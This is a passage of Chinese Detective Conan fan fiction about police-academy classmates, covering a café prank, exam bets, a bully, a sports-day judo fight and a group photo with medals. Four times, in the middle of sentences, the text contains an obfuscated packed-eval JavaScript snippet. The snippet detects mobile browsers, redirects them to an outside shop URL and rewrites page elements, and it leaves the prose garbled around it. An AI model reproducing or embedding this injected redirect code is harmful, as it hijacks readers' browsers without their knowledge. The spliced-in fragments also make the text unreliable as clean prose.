“我们来玩个游戏吧。” 萩原研二提议道:“从现在开始,谁先动了就去买单怎么样?” 他已经想好了,飞鸟彻羽已经吃完了,他俩刚刚忙着“推卸责任”,都没怎么动,到时候…… 没成想,少年根本不给他俩台阶下。 飞鸟彻羽没给他俩一点眼神交流,默默起身径直向收银台走去。 然后路过收银台,半点没停留。 就这么,走了?! “完蛋了!小阵平!小鸢尾不要我们了啊?!” 这还用你说?! 松田阵平早先一步跳起来,绕过桌子就往追。 一边追,一边在心里默默复盘:先是磕了他的头,再是故意颠他,然后给他开鸡翅膀玩笑,最后剪他口罩,还伙同hagi一起笑他…… 越是复盘,越是觉得自己真是不冤枉: 根本不是asuka的问题,一般人被这么折腾早该翻脸了,他能忍到现在,已经是很给面子的了。 松田阵平心里暗暗后悔,早知道不这么过火了,别大家努力了这么久的飞鸟刚到手就飞了…… 正心里胡思乱想着,一抬眼就和倚靠在店门口的飞鸟彻羽对上视线: 少年倒是一副清闲做派,笑盈盈地看着他,举着手机给他看计时器。 紧接着萩原研二也出来了,于是飞鸟彻羽也笑盈盈地对着他,把屏幕上的计时也展示给萩原研二看。 这还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604580|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么不明白的? “耍我?” 松田阵平双手各自握住飞鸟彻羽的锁骨,把他摁在背后的墙面上。 “好玩吗?” 飞鸟彻羽扬起摘了口罩,露出的下半张脸,带着自己墨镜的样子怎么看怎么欠揍:“一般好玩吧。” 松田阵平让他气笑了,左手不变,右手松开他的肩膀,摘下自己的墨镜,和那双明艳的鸳鸯眼对上视线。 ……突然就没脾气了。 “客人?你们还没有结账?” 行吧。 松田阵平又在飞鸟彻羽的注视下,把墨镜给他戴回去,很不义气地决定也不让hagi那个家伙高兴: “他说他要买单。” 萩原研二:……? “欸——?!” * “太过分了!” 这次轮到萩原研二生气了: 净身高一米九往上的青年现在正很是憋屈地蜷缩在门口的那辆儿童摇摇车上,一双大长腿无处安放,只好很委屈的折起来才能勉强挤下。 “这分明就是小阵平和小鸢尾联合起来,骗hagi买单的骗局吧!” 声音有些大了,吸引了一边路过的一对母女的注意。 小女孩指着他,抬头对自己的妈妈说:“妈妈!你看……” “哎呦,别用手指,”旁边的母亲连忙按下她的手制止她,“这个哥哥不正常,我们快回家。” 松田阵平笑出了声,故意的。 萩原研二很是幽怨地用眼神控诉他:“hagi要闹了哦,真的要闹了。” “小阵平现在只喜欢小鸢尾,都不喜欢hagi了,我要吃醋了!” ……真没眼看。 飞鸟彻羽也不擅长处理这种类型的麻烦——毕竟他短短十九年的社会经验中,即使再怎么丰富,也不包括当小三的经历。 所以应该怎么办呢? 想了想,又折回去,跟收银台的店员说了几句话,要到了什么东西。 少年捏着手里的东西,凑到萩原研二面前。 “干什么?hagi可是很不好说话的哦。” 萩原研二本来就没生气,只是感觉这个时候真的很适合开这种玩笑,所以早早就在心里做好了顺坡下的心理预设: 只要小鸢尾随便说点什么,hagi就“勉为其难”的“原谅”他好啦,就同意也和他做好朋友。 说的不好也没关系,他有这个心思就好:) 偏偏事态没向他预想的那样发展: 飞鸟彻羽捏着手里的几枚硬币,一股脑的都投进摇摇车脑袋后面的硬币口。 欸?! 紧接着,在摇摇车的车载音响里面,传出实在滑稽又弱智的儿歌。 一旁的母女还没有走远,小女孩听到了这个声音,大声说:“妈妈我也要坐那个!” “你不想坐——快回家!” “噗嗤。” 松田阵平也不给他面子(不如说,偏偏越是好朋友,才越会在这种情况下“落井下石”),临阵倒戈的飞快,比刚刚他俩笑飞鸟彻羽的时候还要大声。 飞鸟彻羽倒是收敛一点,当然也仅仅只是一点。 隔着一层墨镜镜片,萩原研二发誓自己看见了眼底汹涌着的坏水,还有根本毫不掩饰的的笑意: “哥哥,我也想坐这个。” 26.贝尔摩德:? “所以,在大家不知道的时候,背着所有人偷偷和tooru搞好关系了呢~” 终于考完月考,诸伏景光在桌子上伸了个懒腰,调侃道: “真狡猾啊,萩原,当初说要‘早回去看看情况’,把我们三个,我,zero,还有班长,一起支走——结果是带着松田回来一起偷跑的吗。” “什么偷跑?听不懂哦——小诸伏是怎么知道,小鸢尾最喜欢我的……” ……真是没眼看。 降谷零凑到飞鸟彻羽身边:“考的怎么样?” “应该……还可以吧?” 飞鸟彻羽也不是很确定,毕竟他之前从来没考过,也不了解评分标准:“反正是都填上了。” 降谷零还是有点不放心,按照自己的记忆一道一道和他对了答案,发现思路都大差不差,这才觉得心里有了底。 “估计拿个前六没问题——说不定能挤掉班长的第二呢。” 伊达航正好也在旁边,爽朗一笑:“还真说不定,毕竟是比我们多了两年的实践经验呢——鸢尾警衔比这学期刚入职的柚木教官还高啊。” “那来打赌好了——要是鸢尾真出成绩的时候比我考的还高怎么办?” 降谷零绝不放过任何一个炫耀幼驯染的机会:“我出hiro出品舒芙蕾,支持tooru获胜。” 松田阵平就是要和降谷零唱反调:“那我出hagi的亲签拍立得,支持班长!” “……那种东西也能当筹码吗?” 松田阵平理直气壮:“当然了,想要hagi合照的人,摞起来比东京塔还高!” 降谷零也不甘示弱:“想吃hiro甜品的人,从这里排到法国!” “萩原研二天下第一!” “诸伏景光秒了全世界!” 伊达航:……我要和你们这些有幼驯染的人拼了=v= “我出娜塔莉烤的曲奇,就赌我和鸢尾分数平齐吧。” 赢不赢的倒是无所谓,主要要是想要你们这些单身狗们,见识一下我女朋友的手艺:) 松田阵平半月眼:可恶的现充! “——景老爷你来不来?” “不了吧,”诸伏景光委拒,“zero的筹码不就是我出的吗?” “hagi?” “听不懂——你怎么知道小鸢尾叫我‘哥哥’……” 谁问你了?我们这里0人想听。 “asuka?” “不要,”飞鸟彻羽倒是很直接,“无聊。” “他当然觉得无聊了,”一道突兀的声音插进他们的对话,“谁不知道,‘鸢尾弥生’是走后门进来的,根本没有通过考试——恐怕等成绩出来,他就要原形毕露了吧。” “快回去当你的‘少爷’吧,警校可不是你这种‘上等人’有两个臭钱就能撒野的地方。” 飞鸟彻羽眨眨眼睛:这人是谁啊? 诸伏景光把他拉进了一点,耳语道:“四方雄,隔壁柚木班的。” “哦。” 飞鸟彻羽没想起来自己和他哪里有交集。 不过少年对“自己被讨厌”一事接受良好,甚至还觉得被对方讨厌有点掉档次: 讨厌飞鸟彻羽的:乌丸财团董事、黑衣组织TK、mi6王牌侦察员…… 最次的也是好莱坞大满贯影后,莎朗·温亚德。 随便什么阿猫阿狗也配讨厌我了?我现在身价贬值这么快的? ——鉴定完毕,登月碰瓷。 “我应该不认识他?” “你知道吧,警校分班不是奉行‘平均分班制度’,而是拔尖分类——举个例子来讲,我们五个就是当初录取考试时候的顺次前五名,现在就都分在了一个班。” “按照一个班三十个人来算,前三十名就会进入,三十一到六十名进入小野木班级……依此类推——柚木教官今年才入职,所以带的是成绩最差的班。” 飞鸟彻羽听明白了,所以这个不知道是谁的,是当时入学考试的倒数前三十。 伊达航也凑过来,一起咬耳朵:“不过分班之后也不是绝对的,一方面大家成绩肯定是会有浮动的嘛,也没道理说入学成绩好,之后就一定会保持下去。” “另一方面也会出现上着上着学,发现自己其实不适合警察这个职业,所以选择退学了的,或者是像浅井那种情况的,就会有一个空位,其他班如果有意向的话,在两个教官都同意的情况下,可以申请转班。” 飞鸟彻羽似懂非懂:“所以是他本来想要转进鬼冢班,但是被我截胡了,所以才……” “我感觉不是主要原因。” 萩原研二也一脸严肃的参与讨论,按照飞鸟彻羽对他的了解,能被萩原研二讨厌的家伙,那就是真的很一无是处了: “之前他也这么说过小降谷来着,就说什么‘外国人也配当警察’之类的——后来被小降谷用实力狠狠打脸了,所以现在就时不时地来鬼冢班刷存在感。” 松田阵平最讨厌爱嚼舌根的人了:“后来我烦的受不了了和他约架,结果他根本不敢来,只敢就这样哔哔赖赖的恶心人。 嘁,烂人。” 话毕,小卷毛对着后门比了比拳头,四方雄发现根本没人理自己,只好悻悻地走了。 “这样子,”飞鸟彻羽觉得自己听懂了,遂语出惊人,“所以他被降谷打脸之后,就不可自拔的迷上了降……” “不是!” 降谷零大破防:“根本没有的事!你别在那胡说!根本原因是在嫉妒吧!” “对付这种人,只要用实力证明自己就好了——所以班长,运动会的报名是不是要开始了赶快给tooru安排几个项目,让那些背后谈长论短的人也见识见识他的实力,他们就不敢多话了。” 诸伏景光也在一旁拱火:“还有下个月的公安考核,不是说要六个人吗?也给tooru安排上,让他们见识见识tooru的实力,就不会有这种误解了。” 飞鸟彻羽觉得自己没有让他人对自己改观的必要:“可是我感觉他说的很对啊?” 少年一边说,一边数着自己的手指:“他说我:有钱,没考试,走后门——感觉没什么好反驳的啊?按道理我的身体状况,连第一关的体检都过不了——他没有哪一点说错啊?” 萩原研二和松田阵平不约而同地想起来,在赔偿支票上,那密密麻麻,数得人眼花的一串零:……好像真让他说中了? “不行!”但是降谷零的斗志已经燃起来了,“你给我有一点上进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612315|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心啊!一定要让他们几个好看!” 飞鸟彻羽没能理解他蓬勃的胜负欲从哪来的:“……你清醒一点——我这个身体素质去参加运动会,最多能去给他们凑个人头吧。” 而且要这种人的改观有什么用啊…… “这个倒是不用担心,我们运动会不是只有体能项目的,与其是叫运动会,实际上是和其他在职警察一起的,专业技能的比拼。” “尤其是技术类的项目,比如说爆/炸/物处理班,搜查一二三课,网络安全对策部,鉴定课,公安……这一类的特殊警种会在这个机会挑选合适的苗子提前审批入职——所以说大家对这种活动都非常积极。” “那就更不应该报了吧。” 飞鸟彻羽摊手耸肩,年纪不大说话倒是老气横秋的。 “食禄者不得与下民争利,受大者不得取小①——排名怎么样暂且不说,这种机会对警校生来说很稀缺吧?” “即使是考上了‘警察’这样的‘铁饭碗’,警校生之间的竞争也是相当激烈的:成绩优越的,或者有一技之长的,会被特殊部门优先‘预定’,入职之后也会作为‘种子’,被重点关注。” “剩下没有被选中的,就会在警校毕业之后,大概率被分到交通部、地域部、机动搜查队这种需要螺丝钉的地方。虽然说交通部、地域部、机动搜查队这种地方也不是说不好,但是自己主动去,和被迫分流是两码事。” “在我已经入职的前提下,因为个人原因去挤占警校生宝贵的名额……你们突然好恶心的眼神。” “成长了,小鸢尾,”萩原研二假惺惺地,擦了擦眼角根本不存在的眼泪,“不是那种只知道争强好胜的小鬼了。” 降谷零感觉自己有被内涵到:“不过没必要有这种担心啦——特批的名额每年是没有数量限制的。也就是说,理论上,一年里面有可能同一个部门一个特招都没有,也有可能同时签三五个——有能力的人在哪里都不会被埋没的。” “要是真的担心的话……报两个冷门的项目怎么样?”伊达航也在一旁,对着报名项目出主意,“《骸骨鉴定》,这个好,三年没有人报了。” “还有这个,《声源鉴定》,四年挂零了,”松田阵平也跟着在一旁出谋划策,“反正里面的素材都是沉积多年的悬案——说不定还能捞个三等功呢?” “《现场勘察》也很好啊,”萩原研二另辟蹊径,“还能翻翻之前的卷宗什么的,坐在实验室里面,还有空调吹。” 几个人七嘴八舌地讨论了半天,决定给飞鸟彻羽报三个。 反正运动会每个人保底都要报两个的嘛:) 飞鸟彻羽已经放弃挣扎了,躺平任由他们几个折腾。 “不过话说回来,刚刚tooru说话的时候,感觉有点像我哥欸。” “你哥?诸伏高明,长野县那个?” “是啊,”诸伏景光不意外他知道,当初异常处理课调查的时候,肯定已经把自己的履历都翻了个遍了,“他有时候也会这样文绉绉的……我们会通信来着。” “那这周你们就不用通信了,我们今天晚上的车,去长野,处理你那个背后灵的事情——你哥没给你说吗?” “欸——?!”X5 完全没听说过! 27.别打架哦 可惜让他们失望了,单单是一门项目的赛程就要占据整个运动会,同时兼顾三门是根本没有办法的事情。 “热……化……了……” 萩原研二正在穿戴护具,准备参加安排在上午的五千米负重跑。 “本来还想去给小阵平加油助威的……结果根本时间完全重合了嘛。” “好可惜哦,班长是裁判组,小阵平要去参加柔道,小诸伏报了射击,小鸢尾要去参加声源鉴定,小降谷要去广播室——大家都没时间来给hagi加油了啦!” 萩原研二越想越觉得自己前途“悲凉”,遂开始假哭。 “一想到自己到时候,只能孤零零地跑完这漫长的五千米,就感觉完全没有拼搏的动力——好凉!” 飞鸟彻羽收回被捏在手里,瓶身贴在萩原研二脸上的冰水:“我以为你会更担心要负重五千米的事情?” 所以说,为什么重点是“没有人给自己加油”啊? 五千米负重跑……光是想想,尾鳍就要分叉了。 “嗐,你还担心这个?”松田阵平倒是一点也不担心,正在最后检查一遍自己的护具是否佩戴妥当,“到时候整个警校四分之三的人,都会给你加油的。” 诸伏景光拿过飞鸟彻羽手里的水,给他拧开,再原样递回去:“不过我倒是有点担心松田欸,我看四方也报名了这项比赛——毕竟也算是积怨已久,担心松田会和他打起来呢~” 松田阵平表示抗议:“真是的,你们当我是小孩吗?” “不过本来就是对抗类的比赛,打起来也没有关系吧?” 飞鸟彻羽捏着水瓶,思考了一下,又递回给了萩原研二,虽然说剧烈运动之前最好不要喝太多水,但是贴一贴解暑用也还是不错的:“不过要是嫌弃他的话,直接在那一场选择弃赛也没所谓——反正是轮换积分制。” “我之前给参赛的所有人都做了一个评估,理论上松田就算是判负一场,即使考虑到体力消耗、对手水平之类的因素,他也可以凭借大比分夺冠,随便输给谁都不影响结果。” “即使松田总计输三两场,都有凭借小分取胜的可能——你们干嘛这样看我?” 松田阵平叹为观止:“真狡猾啊,asuka。” 感觉会是那种,能成功把保健品推销给诈骗犯的“高端人才”。 “……只是研究一下赛制、对手的特点、预判比赛结果然后安排战术,和狡猾有什么关系?你们不会考虑这种问题吗?” “不——会——”X3 面前三双清澈的眼睛,真诚的让飞鸟彻羽无话可说:只要自己水平够强不就可以了吗? ……行吧。 反正怎样不是赢呢。 松田阵平起身,拍拍身上根本不存在的褶皱:“走了,我那边要开始了——看我给你们带个冠军回来。” 飞鸟彻羽伸手钩住松田阵平的领口,帮他理顺。 “领子,竖起来了。” * 直到坐在内场的时候,飞鸟彻羽算是明白,为什么《声源鉴定》这一项目,能拿下连续四年挂零的好成绩了: 每一条音频,被编了号码,截出来,放进同一个声源库里面,供大家随意挑选。 ……很难让人不怀疑,设置这个项目的核心目的,就是为了让警校生给鉴定课当苦力: 拿鉴定课筛选不出来的声源,做题库。 理论上来讲,到是很可行的策略。 毕竟到现在为止,“人耳识别”依然是声源鉴定最通用的鉴定方法——一批批警校生那么多,说不定什么时候,就能瞎猫碰上死耗子,遇见个听力好的。 要是里面真有能比对的上的,反正也是之前比对不出来的,比出一个赚一个。 要是里面所有的都比不出来,那就继续挂零呗,反正都已经四年挂零了。 ——甚至里面有没有能成功比对的还两说。 邻座的男生哀嚎一声:“这和英语听力有什么区别啊?!” 还是有区别,毕竟英语听力不会还能瞎蒙一个,这个蒙都没地方蒙。 少年默默叹气,带上机房配套的头戴式耳机,接受了自己“老鼠王”的设定。 先坐降噪处理,然后再倍速初筛一下吧。 * 与此同时的另一边: 激烈的对抗类项目,向来都要更能吸引眼球。 顶着观众喊声震天的加油声,柔道比赛的进度已经到了第三个轮次。 已经拿下两场的松田阵平,用一招干净利落的大外刈,成功放倒了对手,终结比赛。 能通过警校体测,又坚持下来这么久训练的警校生,哪个都不是可以轻视的对手。 不仅如此,毒辣的阳光也是对意志力严峻的考验。 初登赛场的兴奋感已经过去,这时候“耐力”隐隐成为和“力量”、“技巧”等重的决胜因素。 “怎么样?还撑得住吗?” 松田阵平接过正好在旁边做裁判的,伊达航递过来的毛巾,毫不留情地对着自己这张帅脸就是一通乱擦。 是让萩原研二看见了,会被批评“暴殄天物”的程度。 “还行。” 松田阵平也不和伊达航客气,接过拧好的矿泉水喝了两口,在手机上翻弄一张图片:“和我预想的水平差不多。” 有些麻烦,但是不至于赢不了的程度。 伊达航也借着自己这场早已比完,现在正好没事,凑过头去看。 是松田阵平的赛程表。 代表“松田阵平”的火柴人,下一场径直连到了“四方雄”方框上面。 O-O? 第三场还没结束,你怎么知道的第四轮的对手? “asuka预测的,我的赛程图。一二轮,包括第三轮已经完成了的结果,和上面没有出入,所以应该下一场的结果也不会错。” 在对手名字的旁边还用小两号的字体写了注释,比如四方雄的就是: 【起手动作大,推荐内股】 【抗揍,体力消耗过大,不推荐】 后面还打了一个小小的“x”。 asuka那家伙,体能稀烂,眼光倒是一流。 伊达航超绝捧哏:“好羡慕哦~我们都没有这种东西。” “……关键不论负重跑,还是射击,做这种东西都没什么用吧。” “下一场,鬼冢班·松田阵平,对战柚木班·四方雄!” 松田阵平不满的咋舌。 有种预感到自己要挂科,结果真的不出意料地挂了的憋屈感。 “哟,怎么没见‘少爷’啊?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644927|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 啧。 一开口就好讨打。 “真奇怪,你不觉得很奇怪吗?明明是警校生,连最基本的晨训都不参加,半路才入学,一进来就和你们几个‘好学生’混在一起——该不会过几天的公安考核,你们还要一起吧?” 松田阵平不想和他斗嘴,借着对方起势的功夫先手夺人,左手抓住对方右袖,右手抓住对方的左思领,上步破坏对方平衡,上身摔投——标准的堪比教科书似的“内投动作”。 “松田阵平,一本!” 干脆利落的一场胜利。 感觉和他多待一秒都算精神污染。 松田阵平不搭理他,偏偏那个讨厌鬼就像是狗皮膏药一样,跟在后面喋喋不休: “这个姓也挺稀罕的——我从来没听说过,有哪个财阀或者高管姓‘鸢尾’的。你说他是怎么混进来的?” “……你什么意思?” “他长得挺好看吧?” 松田阵平只觉得脑中一根什么弦被绷紧了,发出“铮”的一声。 “你再说一遍?” 都是成年人了,谁还听不懂他含蓄的意思? ……哦。 活跃在话题中的第三当事人,是个十九岁的未成年来着。 他现在在努力克制自己往上涌的火气,至少别在众目睽睽之下打烂那张欠揍的脸。 偏偏四方雄就是上赶着找揍,一直在旁边像是窃窃喳喳的苍蝇一样恼人。 “本来就是陈述事实罢了——难道你不觉得他拿着‘特招生’的名头走后门的行径很站不住脚吗?” “哈?” 松田阵平顶着他那张,笑起来堪比“绝世□□刚刚做完案”的脸:“被降谷狠狠打脸之后,又开始找伊达的茬,被伊达警告之后,又开始找鸢尾的茬,现在又开始招惹我——你该不会是有什么特殊又小众的癖好吧?” 在遥远的观众席,因为大家都穿一样的防护服,距离又远,其实不太能听清看见俩人之间浓烈到几乎一点即燃的火药味。 直到凑在一起的两个人,有一个率先挥出拳头! 观众席上的加油打气声,顷刻被一阵惊呼声代替。 两个身影在所有人都没反应过来的时候扭打在一起。 “到此为止!” 察觉到不对的伊达航及时赶到,呵斥住两人:“全都收手!” 松田阵平率先起身,双手举起,示意自己可没动手: 他还没蠢到要在比赛时,众目睽睽之下,和别人打架斗殴的程度。 但是谁被找了事,心情都不会好的。 松田阵平顶着自己那张桀骜不驯的脸,吐出一颗牙来。 啧。 正好打在那个假牙上。 一旁的教官也赶了过来:“松田,先去医务室。” ? “我这是假牙!” 不影响活动。 能把假牙打掉的力量,也不容小觑啊。 “先去医务室吧,观察确定没有问题之后,再回来继续。” 那我的比赛怎么办?不比了?自动判负? 松田阵平这次是真有点忍不住火气了:“不是?你……” “松田!” 伊达航眼疾手快,架住了他:“别上火,我们快去快回。” 28.出尔反尔是坏文明! “松田阵平和人打架了?” 飞鸟彻羽的项目持续了一整天,直到结束时才听到了这个消息。 不过也不意外: 两个同样对彼此看不顺眼的人,又是在这种容易上头的项目,出现冲突很正常。 没什么好意外的。 松田阵平脸上的淤青已经被处理过了,但是假牙还没有来得及装,坐在鬼冢班那一片,观众席旁边的桌子上,怔怔地不知道在想什么。 连身边有人靠近都不知道。 “喏。” 少年那枚奖牌在他耳畔晃来晃去,吓得在一旁愣神的小卷毛一声怪叫,徒然弹跳起来,两人面面相觑。 飞鸟彻羽:…… 张嘴怪叫的时候,隐隐约约能看清楚假牙曾经站岗的位置——当然现在已经空荡荡的了。 “给。” 松田阵平也不给他客气:“真给我啊?送出去的东西就不能反悔咯?” 少年又把手往前递了递:真给你。 “好吧,看在你坚持的份上,”松田阵平从善如流,接受了这份含蓄的好意,奖牌和纽扣碰撞,迸发出有节律的脆响,“必须得拍下来给他们几个看看。” 相机“咔嚓”一声,留下了一张高糊+死亡角度的自拍。 奖牌是奖牌,能看清楚是来自于谁的努力成果,人也是个人,迷迷糊糊能看出来是松田阵平的程度。 要不是有松田阵平那张360度无死角的脸撑着,是可以挂在整容医院“改造前”专栏,给医生证明医术精湛审美高超的地步。 松田阵平点开相册观察了一下,感觉很满意,一键点击“发送”,如愿以偿地收获了其他几人的“羡慕嫉妒”。 “张嘴,”飞鸟彻羽上前,拍了拍他的侧颈,“我看看你的牙。” 松田阵平“唔”了一声,依言照做。 少年双手托住他的下颌,拇指按住嘴角,让他的头低下来。 ……没事长那么高干什么? 飞鸟彻羽推了他一把,把他推回到桌子上坐着,重新捧住他的脸,拇指咧开他的嘴角,把他的脑袋扳来扭去。 这个样子总忍不住流口水。 “你什么时候去补牙?” “周末。” 松田阵平总感觉在米花补的这次,没有在老家那次补的好。 具体体现在,上次掉牙的时候,是吃了降谷零的全力直拳,才被打掉的。 在米花补完之后,这次感觉根本不是一个量级的力量,结果就掉了。 ——可能是米花的牙医没有神奈川的牙医医术精湛的缘故。 少年上下左右观察了个遍,感觉自己能料理:“别去了,我给你补。” 松田阵平含糊地问:“你还会补牙啊?” “不会,”飞鸟彻羽理直气壮地回答,“但是我会给你补个真的。” 松田阵平没听明白:“‘补个真的’是什么意思?把别人的牙拔出来,然后安在我的牙龈上?” ……那有点恶心吧? “……你真恶心。” 飞鸟彻羽一脸嫌弃地赏了他一个白眼:“就是像你小时候换牙一样,长出个新的恒牙。” “周末的时候吧,给我空出一天来,”少年右手拍拍他的下颌,松开了手,“行了,记得到时候带上你之前看牙时候拍的片子。” 松田阵平嘴巴张张合合,活动活动有些发麻的腮帮子。 “话说,asuka啊,你不问我为什么打架?” 飞鸟彻羽默默将手伸进了他的领子,摸出来一个纽扣大小的东西,送到松田阵平面前:“你要自己亲自回顾一下吗?” 松田阵平卡壳了。 “……你什么时候放进去的?” 当然,他也知道自己问了句废话——不用想也知道是早上临上场前,飞鸟彻羽给他整理领口的时候。 所以这句话实际上想问的意思是:你怎么知道提前放进去的? 小混蛋完全没有在别人身上按窃听器的愧疚:“未雨绸缪罢了,现在不是正好用得上?” 飞鸟彻羽从自己的背包里摸出专门的设备,递给松田阵平一只耳机:“你要听吗?” “……有什么好听的?” 松田阵平不想叫他听见这种污言秽语,劈手想夺:“反正理由就是因为他欠揍——你管他为什么欠揍。” 虽然他知道飞鸟彻羽自己肯定不会在意。 但是言语的攻击,不会因为他不在意所以就改变意思的吧? 本来每天面对一桩桩一件件的破事就已经很难过了,本来也没有必须要听的必要,能少一个听见就少一个人听见好了——反正松田阵平自己也不是不能处理。 松田阵平想夺,飞鸟彻羽哪里抓得住? 原本好好攥在手里的东西被讨厌的小卷毛抢了过去,少年又不是弱智,立马就反应过来这是估计和自己也有那么点的关系。 【还给我,站好别动】 伊达航来的时候,就看见这一幕: 松田阵平站在一旁罚站,一脸牙痛的表情。 飞鸟彻羽坐在另一边的桌子上,带着耳机在听什么东西。 ……又中了鸢尾的言灵了吧。 总感觉已经见怪不怪了呢。 “哎呀,早知道你俩先遇见,我就让鸢尾给你一起捎过来了。” 也省得自己来来回回转了好几圈,才找到松田阵平。 伊达航一边说着,一边将在手臂上挂的满满的奖牌中挑出松田阵平的一二三四五六个,给他戴在脖子上。 和之前飞鸟彻羽那个孤零零的奖牌一起。 “小阵平超棒的吧?赢下柔道之后又去参加了跳远、组装……还拿到了□□处理班的offer!” 萩原研二仗着松田阵平现在不能动,明目张胆地跳到他身上,“明袭”幼驯染。 胸前的一串奖牌稀里哗啦的乱响,配上萩原研二优秀的身高,像是一棵招摇的圣诞树。 “hagi也有哦!给你们看!这样毕业之后我们就又可以去一个部门啦!” 光是想想就足够叫人开心了: 从小学开始的友谊,到初中到高中到大学到警校再到上班!住一样的宿舍吃一样的饭坐一辆车去上班——再到一起变成老头! 萩原研二挂在松田阵平的脖子上,今天又是为幼驯染颜值打call的一天。 呜呜,我要和小阵平好一辈子! “真叫人羡慕啊~” 诸伏景光也挂着一串奖牌走过来,将一瓶拧好的常温苏打水塞进飞鸟彻羽手里:“第一批就有着落了——我们三个还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660049|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有去处呢。” 飞鸟彻羽看着人均负重五六个的三只,有点懵。 你们三个是来这里进货的吗? “我也有哦!”伊达航也挑出自己的两个戴在飞鸟彻羽的脖子上,“因为当裁判没怎么有时间,只好报了两个进程快的项目。” “zero也有三个,”诸伏景光接过属于降谷零的奖牌,顺手一起挂在自己的脖子上,“趁着广播室不忙的时候去拿的。” ……搞半天我拉低你们的平均水平了呗? 少年出尔反尔,理不直气也壮地伸手道:“还我。” “不给!给了别人的东西哪有再要回去的道理?拿我的和你换。” 松田阵平不由分说,把自己的套在飞鸟彻羽的脖子上。 “柔道……赢了啊。” “对呀!当时真的是千钧一发!”萩原研二一说起这事就有滔滔不绝的话,“本来算上要观察的时间,回去肯定来不及了,但是那个时候!班长灵机一动,想到了一个不用绕路的办法!” “就是从教学楼的教室窗户里面翻进去,然后再翻窗户从另一边出来——这样可以节省一半的时间呢!” “回来的时候正好赶上第六轮开始——最后缺席判负两场靠小分夺冠了!” 萩原研二也有样学样,也把自己的奖牌一股脑的挂在飞鸟彻羽的脖子上。 松田阵平上手,把飞鸟彻羽的头发揉的乱七八糟:“asuka没给其他的对手做注释,是因为判断了赛程之后,认为我要么能忍住气一路赢下去,要么就是和四方起了冲突缺席接下来的比赛——所以没有必要在别人身上浪费注意力对吧?” “我说你啊,想那么多干什么?做事之前想东想西,最后不试一把谁知道能不能成功呢?” “偶尔也试试踩踩油门吧?” 飞鸟彻羽突然升起一股没由来的惶恐,紧接着是恼羞成怒。 因为自己坚持了将近二十年的生存守则遭到了挑衅。 那个讨厌鬼尚不自知,咧开嘴对着飞鸟彻羽傻乐。 说实话,傻透了,尤其是一张嘴就能看见他缺席的牙。 但是很真实。 ——鲜活的意外战胜了灰白色的预想。 少年闷闷地,打了他一拳。 诸伏景光也把自己的奖牌挂在飞鸟彻羽的脖子上,连同降谷零的一起:“zero来了——我们来合影吧!” 萩原研二给女警那边借了相机,提前调好,和诸伏景光交换了一个眼神:“记得要笑哦。” “一。” 几个人挤在一起各自找好位置。 “二。” 诸伏景光和萩原研二一人一边,扯起飞鸟彻羽的脸。 “三!” 几人凑过去一看,都表示很满意:少年两边脸颊被揪起,脖子上像是兜售项链的店员,挂了不下二十个奖牌,周边的几个人都在傻笑。 萩原研二宣布:“我要把这张裱起来。” “发我一份。”X4 即使这么闹了一通,飞鸟彻羽也没忘了正事。 少年对着萩原研二摊开手:“给我四方的电话号码。” 毕竟不是一个班的,别人未必会有,但是萩原研二一定能拿得出来。 “我要那个四方雄的联系方式。” 29.傻鸟 结束了一整天高强度的体育运动,出力又出汗的警校生们三三两两的结伴放学。 也有个别精力充沛的,选择在操场上撒野。 刚刚打完一个半场的警校生在一旁的长椅上坐下,暴力拧开一瓶矿泉水,一半倒在头上。 一个暗色的影子,在夕阳下投下来。 四方雄抬眼一看,上午出现在话题里的家伙,顶着一张死了全家的脸,站在他身前。 ——正主来算帐了。 啧。 真是心情不爽。 才在球场上抒发了郁气的警校生扬起嗓子:“哎呦呦,少爷来啦,给您问好——您那几个保镖怎么一个都没来啊?!” 球场上一片哄笑,收了球,都围过来。 刚从球场上下来的几人身上还带着热气,平均比少年要高了半个头,乌泱泱的很有压迫感,在他面前像半堵墙似的。 “你说错了。” 